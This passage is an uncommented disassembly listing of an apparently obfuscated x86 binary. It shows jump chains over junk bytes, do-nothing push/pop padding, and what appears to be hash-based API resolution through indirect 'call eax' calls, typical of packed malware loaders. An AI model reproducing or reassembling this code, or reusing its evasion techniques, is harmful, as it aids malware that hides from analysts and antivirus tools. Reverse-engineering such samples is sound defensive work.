loc_402031:				; CODE XREF: sub_401692:loc_402038j
		jmp	short loc_40205F
; ---------------------------------------------------------------------------
		db 2Ch
		dd 18FB8AF5h
; ---------------------------------------------------------------------------


loc_402038:				; CODE XREF: sub_401692+976j
		jmp	short loc_402031
; ---------------------------------------------------------------------------
		dw 5671h
		dd 0E2ADC4D7h, 2EA93073h, 3A655CCFh, 6E148EBh, 921DF4C7h
		dd 0DE196063h, 0EAD58CBFh, 0B65178DBh
		db 0B7h, 24h, 8Dh
; ---------------------------------------------------------------------------


loc_40205F:				; CODE XREF: sub_401692:loc_402031j
		push	1FC0EAEEh
		push	edi
		push	ebx
		neg	edi
		neg	edi
		mov	ebx, edi
		mov	ebx, edx
		neg	ebx
		rep cld
		pop	ebx
		pop	edi
		push	dword ptr [ebp+8]
		push	ebx
		push	eax
		lea	eax, ds:81289Ah
		not	eax
		rcl	eax, 31h
		test	ecx, esp
		test	cl, al
		inc	eax
		push	esp
		pop	ebx
		lea	eax, ds:80B11Ah
		push	edi
		pop	eax
		stc
		cld
		pop	eax
		pop	ebx
		call	near ptr sub_401692
		jmp	short loc_4020CD
; ---------------------------------------------------------------------------
		cmpsd
		push	esp
		std


loc_4020A1:				; CODE XREF: sub_401692:loc_4020CDj
		jmp	short loc_4020E0
; ---------------------------------------------------------------------------
		db 0F2h
		dd 3EF9C043h, 4AB5EC9Fh, 1631D8BBh, 0A26D8497h,	0EE69F033h
		dd 0FA251C8Fh, 0C6A108ABh, 52DDB487h, 9ED92023h, 0AA954C7Fh
; ---------------------------------------------------------------------------
		wait


loc_4020CD:				; CODE XREF: sub_401692+A0Aj
		jmp	short loc_4020A1
; ---------------------------------------------------------------------------
		db 38h
		dd 0E4777611h
		db 4Dh,	2
; ---------------------------------------------------------------------------


loc_4020D6:				; CODE XREF: sub_401692:loc_4020E0j
		jmp	short loc_402103
; ---------------------------------------------------------------------------
		dd 4E495013h, 5A057C6Fh
; ---------------------------------------------------------------------------


loc_4020E0:				; CODE XREF: sub_401692:loc_4020A1j
		jmp	short loc_4020D6
; ---------------------------------------------------------------------------
		db 8Bh
; ---------------------------------------------------------------------------


loc_4020E3:				; CODE XREF: sub_401692:loc_402103j
		jmp	short loc_402113
; ---------------------------------------------------------------------------
		db 68h,	81h, 26h
		dd 0B2BD1467h, 0FEB98003h, 0A75AC5Fh, 0D6F1987Bh, 622D4457h
		dd 0AE29B0F3h
; ---------------------------------------------------------------------------
		dec	edi
		fsubr	st(5), st


loc_402103:				; CODE XREF: sub_401692:loc_4020D6j
		jmp	short loc_4020E3
; ---------------------------------------------------------------------------
		db 0BAh, 6Bh, 0C8h
		dd 74478661h, 0E0E3129Dh
; ---------------------------------------------------------------------------
		cdq
		pop	esi
		aas


loc_402113:				; CODE XREF: sub_401692:loc_4020E3j
		call	eax
		push	eax
		push	ebx
		not	eax
		inc	ebx
		cld
		pop	ebx
		pop	eax


loc_40211D:				; CODE XREF: sub_401692+8D1j
					; sub_401692+8E9j
		pop	edi
		push	edi
		push	esi
		mov	si, 490Ah
		rcr	edi, 32h
		mov	di, 5D77h
		cld
		pop	esi
		pop	edi
		pop	esi
		jmp	short loc_40215F
; ---------------------------------------------------------------------------
		rcl	dword ptr [eax], cl
		or	[esi], ecx
		das
		cmp	al, 0C5h


loc_402138:				; CODE XREF: sub_401692:loc_40215Fj
		jmp	short loc_402174
; ---------------------------------------------------------------------------
		dw 4B1Ah
		dd 27E64128h, 0C3727DD4h, 1FBE7940h, 3BCA356Ch,	1796B158h
		dd 0B322ED04h, 0F6EE970h, 2B7AA59Ch
; ---------------------------------------------------------------------------
		mov	[ecx], ah
		inc	esi


loc_40215F:				; CODE XREF: sub_401692+A9Dj
		jmp	short loc_402138
; ---------------------------------------------------------------------------
		db 7, 34h, 5Dh
		dd 59A0A3D2h, 15CCFF1Eh, 91B81B2Ah, 0CD64F7F6h
; ---------------------------------------------------------------------------


loc_402174:				; CODE XREF: sub_401692:loc_402138j
		pop	ebx
		push	edi
		push	ecx
		not	ecx
		not	ecx
		push	edi
		pop	ecx
		inc	ecx
		cld
		pop	ecx
		pop	edi
		leave
		jmp	short loc_4021B4
; ---------------------------------------------------------------------------
		dd 0DA85FCEFh
		db 0Bh,	0E8h, 1
; ---------------------------------------------------------------------------


loc_40218B:				; CODE XREF: sub_401692:loc_4021B4j
		jmp	short locret_4021CB
; ---------------------------------------------------------------------------
		db 0A6h, 0E7h, 94h
		dd 83323Dh, 2CDF7E39h, 18FB8AF5h, 0C4D75671h, 3073E2ADh
		dd 5CCF2EA9h, 48EB3A65h, 0F4C706E1h, 6063921Dh
; ---------------------------------------------------------------------------


loc_4021B4:				; CODE XREF: sub_401692+AF0j
		jmp	short loc_40218B
; ---------------------------------------------------------------------------
		dw 0DE19h
		dd 0EAD58CBFh, 0B65178DBh, 428D24B7h, 8E899053h
		db 0AFh, 0BCh, 45h
; ---------------------------------------------------------------------------

locret_4021CB:				; CODE XREF: sub_401692:loc_40218Bj
		retn	8
sub_401692	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	eax
		push	ecx
		neg	ecx
		push	edi
		pop	eax
		mov	eax, 80889Ah
		push	eax
		pop	ecx
		push	eax
		pop	ecx
		inc	eax
		dec	ecx
		cld
		pop	ecx
		pop	eax

; =============== S U B	R O U T	I N E =======================================



sub_4021E2	proc far		; CODE XREF: .text:00404EFAp
		push	ebp
		push	edx
		push	ebx
		mov	dx, 4906h
		mov	ebx, esi
		test	cl, ch
		xor	edx, esp
		inc	edx
		cld
		pop	ebx
		pop	edx
		mov	ebp, esp
		push	ebx
		push	edi
		lea	ebx, ds:808E1Ah
		push	ebx
		pop	edi
		xor	edi, eax
		mov	di, 4A6Ch
		xor	edi, esi
		not	edi
		inc	ebx
		cld
		pop	edi
		pop	ebx
		add	esp, 0FFFFFFF8h
		push	esi
		push	ecx
		add	esi, 809E5Ah
		test	ecx, ecx
		xor	esi, edi
		dec	esi
		mov	ecx, 84BA12h
		inc	esi
		mov	esi, 808F9Ah
		dec	esi
		cld
		pop	ecx
		pop	esi
		push	esi
		push	eax
		push	edx
		xchg	edx, edx
		dec	eax
		cld
		pop	edx
		pop	eax
		push	edi


loc_402236:				; CODE XREF: sub_4021E2+B5j
					; sub_4021E2+B9j
		jmp	short loc_402268
; ---------------------------------------------------------------------------
		mov	ch, 4Ah
		mov	ebx, 971631D8h


loc_40223F:				; CODE XREF: sub_4021E2:loc_402268j
		jmp	short loc_40227F
; ---------------------------------------------------------------------------
		db 84h,	6Dh, 0A2h
		dd 0EE69F033h, 0FA251C8Fh, 0C6A108ABh, 52DDB487h, 9ED92023h
		dd 0AA954C7Fh, 7611389Bh, 24DE477h, 4E495013h
; ---------------------------------------------------------------------------


loc_402268:				; CODE XREF: sub_4021E2:loc_402236j
		jmp	short loc_40223F
; ---------------------------------------------------------------------------
		dw 7C6Fh
		dd 688B5A05h
; ---------------------------------------------------------------------------


loc_402270:				; CODE XREF: sub_4021E2:loc_40227Fj
		jmp	short loc_40229E
; ---------------------------------------------------------------------------
		dw 2681h
		dd 0B2BD1467h, 0FEB98003h
		db 5Fh,	0ACh, 75h
; ---------------------------------------------------------------------------


loc_40227F:				; CODE XREF: sub_4021E2:loc_40223Fj
		jmp	short loc_402270
; ---------------------------------------------------------------------------
		or	bh, [ebx-68h]
		icebp
		setalc
		push	edi
		inc	esp
		sub	eax, 29B0F362h
		scasb
		dec	edi
		fsubr	st(5), st
		mov	edx, 8661C86Bh
		inc	edi
		jz	short loc_402236
		adc	ah, bl
		loopne	loc_402236
		pop	esi


loc_40229E:				; CODE XREF: sub_4021E2:loc_402270j
		push	ebx
		push	ecx
		push	eax
		ror	eax, 83h
		mov	cx, 4938h
		cld
		pop	eax
		pop	ecx
		mov	esi, [ebp+8]
		jmp	short loc_4022DD
; ---------------------------------------------------------------------------
		clc
		sal	dword ptr [esi], 1


loc_4022B3:				; CODE XREF: sub_4021E2:loc_4022DDj
		jmp	short loc_4022F0
; ---------------------------------------------------------------------------
		db 37h,	0A4h, 0Dh
		dd 910D3C2h, 0C53C2F0Eh, 41284B1Ah, 7DD427E6h, 7940C372h
		dd 356C1FBEh, 0B1583BCAh, 0ED041796h, 0E970B322h
		db 6Eh
; ---------------------------------------------------------------------------


loc_4022DD:				; CODE XREF: sub_4021E2+CCj
		jmp	short loc_4022B3
; ---------------------------------------------------------------------------
		setl	byte ptr [ebp+21882B7Ah]
		inc	esi
		pop	es
		xor	al, 5Dh
		shl	byte ptr [ebx-0E1A660h], cl


loc_4022F0:				; CODE XREF: sub_4021E2:loc_4022B3j
		mov	edx, [ebp+0Ch]
		jmp	short loc_402321
; ---------------------------------------------------------------------------
		db 91h,	0F6h, 0F7h
		dd 9382CD64h, 0EFCEC9D0h, 0BDA85FCh, 0E7A601E8h, 83323D94h
; ---------------------------------------------------------------------------


loc_40230C:				; CODE XREF: sub_4021E2:loc_402321j
		jmp	short loc_402338
; ---------------------------------------------------------------------------
		dw 3900h
		dd 0F52CDF7Eh, 7118FB8Ah, 0ADC4D756h, 0A93073E2h
		db 2Eh
; ---------------------------------------------------------------------------


loc_402321:				; CODE XREF: sub_4021E2+111j
		jmp	short loc_40230C
; ---------------------------------------------------------------------------
		db 0CFh
; ---------------------------------------------------------------------------
		pop	esp


loc_402325:				; CODE XREF: sub_4021E2:loc_402338j
		jmp	short loc_402357
; ---------------------------------------------------------------------------
		db 65h
		dd 0E148EB3Ah, 1DF4C706h, 19606392h, 0D58CBFDEh
; ---------------------------------------------------------------------------


loc_402338:				; CODE XREF: sub_4021E2:loc_40230Cj
		jmp	short loc_402325
; ---------------------------------------------------------------------------
		dw 0DBEAh
; ---------------------------------------------------------------------------
		js	short loc_40238F
		mov	dh, 0B7h
		and	al, 8Dh
		inc	edx
		push	ebx
		nop
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		dd 0A766C1A8h, 43F2FD54h
; ---------------------------------------------------------------------------
		sar	cl, 3Eh


loc_402357:				; CODE XREF: sub_4021E2:loc_402325j
		add	esi, edx
		push	ecx
		push	esi
		jmp	loc_402362
; ---------------------------------------------------------------------------
		db 87h,	0F6h
; ---------------------------------------------------------------------------


loc_402362:				; CODE XREF: sub_4021E2+179j
		push	ecx
		pop	ecx
		mov	ecx, 80A8DAh
		mov	esi, 8188DAh
		cmc
		cmp	al, 0DCh
		xor	ecx, edi
		test	ecx, ecx
		inc	ecx
		cld
		pop	esi
		pop	ecx


loc_402379:				; CODE XREF: sub_4021E2:loc_40348Aj
		mov	eax, [esi+0Ch]
		jmp	short loc_4023AB
; ---------------------------------------------------------------------------
		test	[ebp-5Eh], ch


loc_402381:				; CODE XREF: sub_4021E2:loc_4023ABj
		jmp	short loc_4023BE
; ---------------------------------------------------------------------------
		db 33h
		dd 8FEE69F0h, 0ABFA251Ch
		db 8, 0A1h, 0C6h
; ---------------------------------------------------------------------------


loc_40238F:				; CODE XREF: sub_4021E2+15Aj
		xchg	esi, [ebp+ebx*8-26DFDCAEh]
		sahf
		jg	short loc_4023E5
		xchg	eax, ebp
		stosb
		wait
		cmp	[ecx], dl
		jbe	short loc_402417
		in	al, 4Dh
		add	dl, [ebx]
		push	eax
		dec	ecx
		dec	esi
		outsd
		jl	short near ptr loc_4023AE+1
		pop	edx


loc_4023AB:				; CODE XREF: sub_4021E2+19Aj
		jmp	short loc_402381
; ---------------------------------------------------------------------------
		db 8Bh
; ---------------------------------------------------------------------------


loc_4023AE:				; CODE XREF: sub_4021E2:loc_4023BEj
					; sub_4021E2+1C6j
		jmp	short loc_4023D9
; ---------------------------------------------------------------------------
		dd 67268168h, 3B2BD14h,	5FFEB980h
		db 0ACh, 75h
; ---------------------------------------------------------------------------


loc_4023BE:				; CODE XREF: sub_4021E2:loc_402381j
		jmp	short loc_4023AE
; ---------------------------------------------------------------------------
		or	bh, [ebx-68h]


loc_4023C3:				; CODE XREF: sub_4021E2:loc_4023D9j
		jmp	short loc_4023F4
; ---------------------------------------------------------------------------
		db 0F1h, 0D6h, 57h
		dd 0F3622D44h, 4FAE29B0h, 6BBAE5DCh, 478661C8h
		db 74h
; ---------------------------------------------------------------------------


loc_4023D9:				; CODE XREF: sub_4021E2:loc_4023AEj
		jmp	short loc_4023C3
; ---------------------------------------------------------------------------
		db 9Dh
		dd 99E0E312h, 550C3F5Eh
		db 6Ah
; ---------------------------------------------------------------------------


loc_4023E5:				; CODE XREF: sub_4021E2+1B5j
		pop	ebx
		clc
		sal	dword ptr [esi], 1
		aaa
		movsb
		or	eax, 910D3C2h
		push	cs
		das
		cmp	al, 0C5h


loc_4023F4:				; CODE XREF: sub_4021E2:loc_4023C3j
		test	eax, eax
		jz	loc_403497
		jmp	short loc_402418
; ---------------------------------------------------------------------------
		dw 0D427h
; ---------------------------------------------------------------------------
		jge	short loc_402474
		retn
; ---------------------------------------------------------------------------
		db 40h
		db 79h
; ---------------------------------------------------------------------------


loc_402405:				; CODE XREF: sub_4021E2:loc_402418j
		jmp	short loc_40242F
; ---------------------------------------------------------------------------
		db 0BEh
		dd 0CA356C1Fh, 96B1583Bh, 22ED0417h
		db 0B3h, 70h, 0E9h
; ---------------------------------------------------------------------------


loc_402417:				; CODE XREF: sub_4021E2+1BCj
		outsb


loc_402418:				; CODE XREF: sub_4021E2+21Aj
		jmp	short loc_402405
; ---------------------------------------------------------------------------
		dw 9C0Fh
		db 0A5h, 7Ah
; ---------------------------------------------------------------------------


loc_40241E:				; CODE XREF: sub_4021E2:loc_40242Fj
		jmp	short loc_40244E
; ---------------------------------------------------------------------------
		dd 4621882Bh, 0D25D3407h, 1E59A0A3h
		db 0FFh, 0CCh, 15h
; ---------------------------------------------------------------------------


loc_40242F:				; CODE XREF: sub_4021E2:loc_402405j
		jmp	short loc_40241E
; ---------------------------------------------------------------------------
		db 2Ah,	1Bh, 0B8h
		dd 64F7F691h, 0D09382CDh, 0FCEFCEC9h, 0E80BDA85h, 94E7A601h
		dd 83323Dh
		db 39h,	7Eh
; ---------------------------------------------------------------------------


loc_40244E:				; CODE XREF: sub_4021E2:loc_40241Ej
		add	eax, edx
		push	ecx
		push	ebx
		cmc
		mov	ecx, 80AA1Ah
		mov	ecx, 80A09Ah
		cld
		pop	ebx
		pop	ecx
		mov	ebx, eax
		jmp	short loc_402491
; ---------------------------------------------------------------------------
		sbb	[ecx+56h], dh


loc_402467:				; CODE XREF: sub_4021E2:loc_402491j
		jmp	short loc_4024A4
; ---------------------------------------------------------------------------
		db 0D7h, 0C4h, 0ADh
		dd 0A93073E2h, 655CCF2Eh
; ---------------------------------------------------------------------------


loc_402474:				; CODE XREF: sub_4021E2+21Ej
		cmp	ch, bl
		dec	eax
		loope	loc_40247F
		mov	esp, 6063921Dh


loc_40247F:				; CODE XREF: sub_4021E2+295j
		sbb	esi, ebx
		mov	edi, 0DBEAD58Ch
		js	short loc_4024D9


loc_402488:				; CODE XREF: sub_4021E2+30Cj
		mov	dh, 0B7h
		and	al, 8Dh
		inc	edx
		push	ebx
		nop
; ---------------------------------------------------------------------------
		db 89h
		db 8Eh
; ---------------------------------------------------------------------------


loc_402491:				; CODE XREF: sub_4021E2+280j
		jmp	short loc_402467
; ---------------------------------------------------------------------------
		db 0AFh
		dd 0CB9A45BCh, 0A766C1A8h, 43F2FD54h, 9F3EF9C0h
; ---------------------------------------------------------------------------


loc_4024A4:				; CODE XREF: sub_4021E2:loc_402467j
					; sub_4021E2+323j ...
		push	eax
		jmp	short loc_4024D3
; ---------------------------------------------------------------------------
		fdiv	dword ptr [ecx]
		push	ss
		xchg	eax, edi
		test	[ebp-5Eh], ch


loc_4024AE:				; CODE XREF: sub_4021E2:loc_4024D3j
		jmp	short loc_4024E3
; ---------------------------------------------------------------------------
		dd 0EE69F033h, 0FA251C8Fh, 0C6A108ABh, 52DDB487h, 9ED92023h
		dd 0AA954C7Fh, 7611389Bh, 24DE477h
; ---------------------------------------------------------------------------
		adc	edx, [eax+49h]


loc_4024D3:				; CODE XREF: sub_4021E2+2C3j
		jmp	short loc_4024AE
; ---------------------------------------------------------------------------
		db 4Eh,	6Fh, 7Ch
		db 5
; ---------------------------------------------------------------------------


loc_4024D9:				; CODE XREF: sub_4021E2+2A4j
		pop	edx
		mov	ebp, [eax-7Fh]
		db	26h, 67h
		adc	al, 0BDh
		mov	dl, 3


loc_4024E3:				; CODE XREF: sub_4021E2:loc_4024AEj
		push	0A48D6762h
		jmp	short loc_40251A
; ---------------------------------------------------------------------------
		pop	edi
		lodsb
		jnz	short loc_4024F8
		jnp	short loc_402488
		icebp


loc_4024F1:				; CODE XREF: sub_4021E2:loc_40251Aj
		jmp	short loc_402531
; ---------------------------------------------------------------------------
		db 0D6h
		dd 622D4457h
; ---------------------------------------------------------------------------


loc_4024F8:				; CODE XREF: sub_4021E2+30Aj
		rep mov	al, 29h
		scasb
		dec	edi
		fsubr	st(5), st
		mov	edx, 8661C86Bh
		inc	edi
		jz	short loc_4024A4
		adc	ah, bl
		loopne	loc_4024A4
		pop	esi
		aas
		or	al, 55h
		push	5Bh
		clc
		sal	dword ptr [esi], 1
		aaa
		movsb
; ---------------------------------------------------------------------------
		dw 0C20Dh
; ---------------------------------------------------------------------------
		rcl	dword ptr [eax], cl


loc_40251A:				; CODE XREF: sub_4021E2+306j
		jmp	short loc_4024F1
; ---------------------------------------------------------------------------
		dd 3C2F0E09h, 284B1AC5h, 0D427E641h, 40C3727Dh,	6C1FBE79h
		db 35h
; ---------------------------------------------------------------------------


loc_402531:				; CODE XREF: sub_4021E2:loc_4024F1j
		push	dword ptr [ebp+10h]
		push	ebx
		push	edi
		neg	edi
		mov	edi, ebp
		not	edi
		push	ebp
		pop	edi
		xor	ebx, esi
		mov	edi, 80A15Ah
		xchg	edi, edi
		dec	edi
		clc
		cld
		pop	edi
		pop	ebx
		call	near ptr sub_401692
		jmp	short loc_40257C
; ---------------------------------------------------------------------------
		db 4
		db 0EDh, 22h
; ---------------------------------------------------------------------------


loc_402556:				; CODE XREF: sub_4021E2:loc_40257Cj
		jmp	short loc_40258F
; ---------------------------------------------------------------------------
		dd 6EE970B3h, 7AA59C0Fh, 4621882Bh, 0D25D3407h,	1E59A0A3h
		dd 2A15CCFFh, 0F691B81Bh, 82CD64F7h, 0CEC9D093h
; ---------------------------------------------------------------------------


loc_40257C:				; CODE XREF: sub_4021E2+36Fj
		jmp	short loc_402556
; ---------------------------------------------------------------------------
		dw 0FCEFh
		dd 0E80BDA85h, 94E7A601h, 83323Dh
; ---------------------------------------------------------------------------
		cmp	[esi-21h], edi


loc_40258F:				; CODE XREF: sub_4021E2:loc_402556j
		call	eax
		push	ebx
		push	esi
		push	esi
		pop	ebx
		dec	esi
		cld
		pop	esi
		pop	ebx
		test	eax, eax
		jnz	loc_402697
		push	ebx
		push	esi
		xor	esi, esp
		mov	bx, 49A4h
		mov	si, 4E52h
		inc	ebx
		cld
		pop	esi
		pop	ebx
		push	ebx
		jmp	short loc_4025CC
; ---------------------------------------------------------------------------
		dd 3073E2ADh
		db 0A9h, 2Eh, 0CFh
; ---------------------------------------------------------------------------


loc_4025BB:				; CODE XREF: sub_4021E2:loc_4025CCj
		jmp	short loc_4025EB
; ---------------------------------------------------------------------------
		db 5Ch,	65h, 3Ah
		dd 6E148EBh, 921DF4C7h,	0DE196063h
; ---------------------------------------------------------------------------


loc_4025CC:				; CODE XREF: sub_4021E2+3D0j
		jmp	short loc_4025BB
; ---------------------------------------------------------------------------
		dw 8CBFh
		dd 78DBEAD5h
; ---------------------------------------------------------------------------


loc_4025D4:				; CODE XREF: sub_4021E2:loc_4025EBj
		jmp	short loc_402602
; ---------------------------------------------------------------------------
		push	ecx
		mov	dh, 0B7h
		and	al, 8Dh
		inc	edx
		push	ebx
		nop
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		test	al, 0C1h
		cmpsw
		push	esp
		std


loc_4025EB:				; CODE XREF: sub_4021E2:loc_4025BBj
		jmp	short loc_4025D4
; ---------------------------------------------------------------------------
		db 0F2h, 43h, 0C0h
		dd 0EC9F3EF9h, 0D8BB4AB5h, 84971631h, 0F033A26Dh
		db 69h,	0EEh
; ---------------------------------------------------------------------------


loc_402602:				; CODE XREF: sub_4021E2:loc_4025D4j
					; sub_4021E2+486j
		push	0C8AC8026h
		push	edx
		push	ecx
		jmp	loc_402613
; ---------------------------------------------------------------------------
		dec	edx
		inc	ecx
		rcr	edx, 16h


loc_402613:				; CODE XREF: sub_4021E2+427j
		xchg	ecx, edx
		mov	edx, edx
		inc	ecx
		cld
		pop	ecx
		pop	edx
		push	dword ptr [ebp+10h]
		push	edx
		push	esi
		xchg	edx, esi
		xor	esi, esi
		test	al, dh
		dec	esi
		shl	edx, 0C6h
		xchg	esi, esi
		xor	esi, ebp
		cmc
		cld
		pop	esi
		pop	edx
		call	near ptr sub_401692
		jmp	short loc_402662
; ---------------------------------------------------------------------------
		mov	ah, 0DDh
		push	edx


loc_40263C:				; CODE XREF: sub_4021E2:loc_402662j
		jmp	short loc_402675
; ---------------------------------------------------------------------------
		dw 2023h
		dd 4C7F9ED9h, 389BAA95h, 0E4777611h, 5013024Dh,	7C6F4E49h
		dd 688B5A05h, 14672681h, 8003B2BDh
		db 0B9h, 0FEh
; ---------------------------------------------------------------------------


loc_402662:				; CODE XREF: sub_4021E2+455j
		jmp	short loc_40263C
; ---------------------------------------------------------------------------
		pop	edi
		lodsb
		jnz	short near ptr loc_40266E+4
		jnp	short loc_402602
		icebp
		setalc
		push	edi
		inc	esp


loc_40266E:				; CODE XREF: sub_4021E2+484j
		sub	eax, 29B0F362h
		scasb
		dec	edi


loc_402675:				; CODE XREF: sub_4021E2:loc_40263Cj
		call	eax
		push	ebx
		push	esi
		xchg	esi, esi
		xor	esi, edx
		sub	ebx, 809A1Ah
		xchg	esi, ebx
		lea	ebx, ds:81105Ah
		not	ebx
		xchg	esi, esi
		shl	esi, 29h
		xchg	ebx, ebx
		cld
		pop	esi
		pop	ebx


loc_402697:				; CODE XREF: sub_4021E2+3B9j
		mov	[ebp-4], eax
		jmp	short loc_4026C6
; ---------------------------------------------------------------------------
		dd 9D744786h
		db 12h,	0E3h, 0E0h
; ---------------------------------------------------------------------------


loc_4026A3:				; CODE XREF: sub_4021E2:loc_4026C6j
		jmp	short loc_4026D6
; ---------------------------------------------------------------------------
		db 99h,	5Eh, 3Fh
		dd 5B6A550Ch, 3736D1F8h, 0D3C20DA4h, 2F0E0910h,	4B1AC53Ch
		dd 27E64128h, 0C3727DD4h
		db 40h,	79h
; ---------------------------------------------------------------------------


loc_4026C6:				; CODE XREF: sub_4021E2+4B8j
		jmp	short loc_4026A3
; ---------------------------------------------------------------------------
		dd 356C1FBEh, 0B1583BCAh, 0ED041796h
		db 22h,	0B3h
; ---------------------------------------------------------------------------


loc_4026D6:				; CODE XREF: sub_4021E2:loc_4026A3j
		mov	dword ptr [ebp-8], 0
		jmp	short loc_40270F
; ---------------------------------------------------------------------------
		db 88h
		dd 34074621h
		db 5Dh,	0D2h
; ---------------------------------------------------------------------------


loc_4026E6:				; CODE XREF: sub_4021E2:loc_40270Fj
		jmp	short loc_402726
; ---------------------------------------------------------------------------
		dd 1E59A0A3h, 2A15CCFFh, 0F691B81Bh, 82CD64F7h,	0CEC9D093h
		dd 0DA85FCEFh, 0A601E80Bh, 323D94E7h, 7E390083h
		db 0DFh, 2Ch, 0F5h
; ---------------------------------------------------------------------------


loc_40270F:				; CODE XREF: sub_4021E2+4FBj
		jmp	short loc_4026E6
; ---------------------------------------------------------------------------
		mov	bh, bl
		sbb	[ecx+56h], dh
		xlat


loc_402717:				; CODE XREF: sub_4021E2:loc_402726j
		jmp	short loc_402745
; ---------------------------------------------------------------------------
		db 0C4h, 0ADh, 0E2h
; ---------------------------------------------------------------------------
		jnb	short loc_40274E
		test	eax, 655CCF2Eh
		cmp	ch, bl
		dec	eax


loc_402726:				; CODE XREF: sub_4021E2:loc_4026E6j
		jmp	short loc_402717
; ---------------------------------------------------------------------------


loc_402728:				; CODE XREF: sub_4021E2:loc_402745j
		jmp	short loc_402755
; ---------------------------------------------------------------------------
		dw 6E1h
		dd 921DF4C7h, 0DE196063h, 0EAD58CBFh, 0B65178DBh, 428D24B7h
		dd 8E899053h
; ---------------------------------------------------------------------------
		scasd


loc_402745:				; CODE XREF: sub_4021E2:loc_402717j
		jmp	short loc_402728
; ---------------------------------------------------------------------------
		db 0BCh
		dd 0A8CB9A45h
		db 0C1h, 66h
; ---------------------------------------------------------------------------


loc_40274E:				; CODE XREF: sub_4021E2+53Aj
		cmpsd
		push	esp
		std
		repne inc ebx
; ---------------------------------------------------------------------------
		db 0C0h
; ---------------------------------------------------------------------------
		stc


loc_402755:				; CODE XREF: sub_4021E2:loc_402728j
					; sub_4021E2+1122j
		mov	edx, [ebp+0Ch]
		jmp	short loc_402788
; ---------------------------------------------------------------------------
		fdiv	dword ptr [ecx]
		push	ss
		xchg	eax, edi
		test	[ebp-5Eh], ch


loc_402761:				; CODE XREF: sub_4021E2:loc_402788j
		jmp	short loc_402798
; ---------------------------------------------------------------------------
		db 33h
		dd 8FEE69F0h, 0ABFA251Ch, 87C6A108h, 2352DDB4h,	7F9ED920h
		dd 9BAA954Ch, 77761138h, 13024DE4h, 6F4E4950h
; ---------------------------------------------------------------------------


loc_402788:				; CODE XREF: sub_4021E2+576j
		jmp	short loc_402761
; ---------------------------------------------------------------------------
		dw 57Ch
		db 5Ah,	8Bh
; ---------------------------------------------------------------------------


loc_40278E:				; CODE XREF: sub_4021E2:loc_402798j
		jmp	short loc_4027BB
; ---------------------------------------------------------------------------
		dd 67268168h, 3B2BD14h
; ---------------------------------------------------------------------------


loc_402798:				; CODE XREF: sub_4021E2:loc_402761j
		jmp	short loc_40278E
; ---------------------------------------------------------------------------
		dw 0B980h
		dd 75AC5FFEh, 0F1987B0Ah, 2D4457D6h, 29B0F362h,	0E5DC4FAEh
		dd 61C86BBAh, 9D744786h
		db 12h,	0E3h, 0E0h
; ---------------------------------------------------------------------------


loc_4027BB:				; CODE XREF: sub_4021E2:loc_40278Ej
		mov	eax, [esi]
		push	eax
		push	ebx
		neg	eax
		xor	eax, eax
		std
		xchg	eax, ebx
		cld
		pop	ebx
		pop	eax
		test	eax, eax
		jnz	loc_402847
		jmp	short loc_402802
; ---------------------------------------------------------------------------
		db 0F8h
		dd 0A43736D1h, 10D3C20Dh, 3C2F0E09h, 284B1AC5h,	0D427E641h
		dd 40C3727Dh, 6C1FBE79h, 583BCA35h
; ---------------------------------------------------------------------------
		mov	cl, 96h


loc_4027F6:				; CODE XREF: sub_4021E2:loc_402802j
		jmp	short loc_402825
; ---------------------------------------------------------------------------
		pop	ss
		add	al, 0EDh
		and	dh, [ebx+0F6EE970h]
		pushf


loc_402802:				; CODE XREF: sub_4021E2+5EFj
		jmp	short loc_4027F6
; ---------------------------------------------------------------------------
		movsd
		jp	short loc_402832
		mov	[ecx], ah
		inc	esi
		pop	es


loc_40280B:				; CODE XREF: sub_4021E2:loc_402825j
		jmp	short loc_402838
; ---------------------------------------------------------------------------
		xor	al, 5Dh
		shl	byte ptr [ebx-0E1A660h], cl
		int	3		; Trap to Debugger


loc_402816:				; CODE XREF: sub_4021E2+653j
		adc	eax, 91B81B2Ah
		div	bh
		db	64h
		int	82h
		xchg	eax, ebx
		ror	cl, 1
		into
		out	dx, eax


loc_402825:				; CODE XREF: sub_4021E2:loc_4027F6j
		jmp	short loc_40280B
; ---------------------------------------------------------------------------
		cld
		test	ebx, edx
		or	ebp, eax
		add	[esi+323D94E7h], esp


loc_402832:				; CODE XREF: sub_4021E2+623j
		add	dword ptr [eax], 39h
		jle	short loc_402816
; ---------------------------------------------------------------------------
		db 2Ch
; ---------------------------------------------------------------------------


loc_402838:				; CODE XREF: sub_4021E2:loc_40280Bj
		mov	eax, [esi+10h]
		push	esi
		push	ebx
		not	esi
		cmp	ecx, edi
		inc	ebx
		test	eax, eax
		cld
		pop	ebx
		pop	esi


loc_402847:				; CODE XREF: sub_4021E2+5E9j
		add	eax, edx
		push	esi
		push	eax
		cmp	eax, eax
		add	eax, 80889Ah
		mov	si, 48FBh
		neg	eax
		mov	esi, edx
		xchg	eax, esi
		nop
		cld
		pop	eax
		pop	esi
		add	eax, [ebp-8]
		push	eax
		push	ecx
		lea	ecx, ds:80A7DAh
		dec	ecx
		xchg	ecx, ecx
		xor	eax, ebx
		rcl	eax, 0F5h
		mov	eax, 8088DAh
		cld
		pop	ecx
		pop	eax
		mov	ebx, [eax]
		push	edi
		push	ecx
		xor	edi, eax
		cmc
		cld
		pop	ecx
		pop	edi
		mov	edi, [esi+10h]
		jmp	short loc_4028B8
; ---------------------------------------------------------------------------
		db 30h
		db 0A9h, 2Eh
; ---------------------------------------------------------------------------


loc_40288E:				; CODE XREF: sub_4021E2:loc_4028B8j
		jmp	short loc_4028CB
; ---------------------------------------------------------------------------
		dd 3A655CCFh, 6E148EBh,	921DF4C7h, 0DE196063h, 0EAD58CBFh
		dd 0B65178DBh, 428D24B7h, 8E899053h, 9A45BCAFh,	66C1A8CBh
; ---------------------------------------------------------------------------


loc_4028B8:				; CODE XREF: sub_4021E2+6A7j
		jmp	short loc_40288E
; ---------------------------------------------------------------------------
		dw 54A7h
		dd 0C043F2FDh, 0EC9F3EF9h, 0D8BB4AB5h
; ---------------------------------------------------------------------------
		xor	[esi], edx
		xchg	eax, edi


loc_4028CB:				; CODE XREF: sub_4021E2:loc_40288Ej
		add	edi, edx
		push	edx
		push	ebx
		test	eax, esi
		test	cl, al
		jno	short loc_4028DA
		xchg	edx, ebx
		xchg	ebx, ebx
		inc	edx


loc_4028DA:				; CODE XREF: sub_4021E2+6F1j
		not	edx
